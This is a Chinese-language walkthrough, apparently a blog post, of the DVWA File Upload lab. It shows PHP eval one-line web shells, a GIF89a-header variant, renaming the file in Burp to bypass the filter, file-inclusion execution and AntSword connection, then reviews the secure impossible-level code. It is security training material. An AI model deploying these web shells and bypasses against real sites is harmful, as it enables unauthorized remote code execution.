File Upload—low level
源码中无过滤：
上传包含一句话木马<?php @eval($_POST[qiushuo]);?>的文件qiu.php
回显上传成功：
将路径../../hackable/uploads/qiu.php与URLhttp://localhost/dvwa/vulnerabilities/upload/#拼接为http://localhost/dvwa/vulnerabilities/upload/../../hackable/uploads/qiu.php，密码qiushuo，连接蚁剑。
先测试连接：
连接成功后点击添加，再右键点击文件管理即可。
自此，DVWA之File Upload—low level解题结束。
URL中#的作用
#是用来指导浏览器动作的，不作用于服务器端。所以，HTTP请求中不包括#。
比如，访问下面的网址，
http://www.example.com/1.htmll#qiushuo.php
浏览器实际发出的请求是这样的：
GET /1.html HTTP/1.1
Host: www.example.com
File Upload—medium level
仍然上传qiu.php，页面回显如下：
源代码中对文件格式进行过滤：
修改qiu.php为qiu.jpg，上传。
由于jpg是不被解析的，所以需要抓包将文件格式修改为php等。
如下图，将filename="qiu.jpg"修改为filename="qiu.php"
上传成功：
将路径与URL拼接，连接蚁剑。
以下步骤同上，不再赘述。
自此，DVWA之File Upload—medium level解题结束。
File Upload—high level
源码如下：
代码审计
1.获取上传文件的信息，包括文件名、扩展名、大小和临时文件路径等。
2.判断上传的文件是否为 JPG、JPEG 或 PNG 图片，并且文件大小不超过 100000 字节（即100KB）。strtolower() 可以将字符串转换成小写；
getimagesize() 函数可以判断指定的文件是否为一种可识别的图像格式。
3.将合法的图片文件移动到指定的上传目录中，并输出上传成功的信息；否则输出相应的错误提示信息。
先上传常规木马文件
high等级强制了文件类型。由于文件类型与后缀名无关，所以修改文件后缀名不能绕过
更改图片头再上传
GIF89a
<script language="php">eval($_POST['qiushuo']);</script>
回显如下：
由于Burp修改文件格式发包只能绕过前端，所以此时抓包后将.jpg改为.php是不能绕过的。
文件包含
具体原理不再解释
有时候使用蚁剑登录网站可能需要提供用户名和密码等信息，在蚁剑中设置 Cookie，攻击者便可以在蚁剑中模拟登录目标站点，并保存站点返回的 Cookie 值，从而实现一些需要登录才能访问的功能，比如上传、下载文件等操作。
URL:http://localhost/dvwa/vulnerabilities/fi/?page=file:///D:/Software/PHPStudy/phpstudy_pro/WWW/dvwa/hackable/uploads/2.jpg(图片路径)
密码：qiushuo
获取cookie：
请求信息栏输入cookie：
以下操作同上，不再赘述。
自此，DVWA之File Upload—high level解题结束。
File Upload—Impossible level
源代码
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='{$target_path}{$target_file}'>{$target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
代码审计
判断提交按钮是否被点击，并检查 Anti-CSRF token 是否合法。
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
...
}
这里通过判断 $_POST[ ‘Upload’ ] 变量是否存在来判断前端页面是否提交了表单。如果提交了表单，则调用 checkToken() 函数来检查提交的 Anti-CSRF token 是否与当前会话中的 token 相等（即防止 CSRF 攻击）。
获取上传文件的相关信息，并定义目标存放路径和文件名等变量。
// File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
这里通过 $_FILES 变量获取了上传文件的名称、扩展名、大小、类型和临时文件名等信息，并将其保存到相应的变量中。然后，定义了存放目录、目标文件名和临时文件名三个变量。
检查上传文件是否符合要求。
// Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { ... }
这里使用了一系列条件语句来检查上传文件是否符合要求。首先，检查上传文件的扩展名是否为 jpg、jpeg 或 png；然后，检查文件大小是否小于 100KB；接着，检查文件 MIME 类型是否为 image/jpeg 或 image/png；最后，调用 getimagesize() 函数检测上传文件是否是真正的 JPG、JPEG 或 PNG 图片。如果满足以上所有条件，则进入下一步操作。
将临时文件转换为 JPEG 或 PNG 格式的图片，并保存到目标存放路径中。
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='{$target_path}{$target_file}'>{$target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file );
这里首先根据文件类型使用 imagecreatefromjpeg() 或 imagecreatefrompng() 函数创建一个新的图片资源，并使用 imagejpeg() 或 imagepng() 函数将其保存为 JPEG 或 PNG 格式的图片，存放到临时文件中。然后，使用 rename() 函数将临时文件移动到指定的目录中，作为最终的上传文件。如果移动成功，则输出上传成功的消息；否则，输出上传失败的消息。最后，删除任何临时文件（如果存在）。
生成新的 Anti-CSRF token。
// Generate Anti-CSRF token
generateSessionToken();
这里调用了 generateSessionToken() 函数，生成一个新的 Anti-CSRF token，以便下一次提交时使用。
自此，DVWA之File Upload—high level解题结束。
总结
以上为[网络安全]DVWA之File Upload—AntSword(蚁剑)攻击姿势及解题详析合集，读者可借此入门AntSword渗透姿势。
我是秋说，我们下次见。
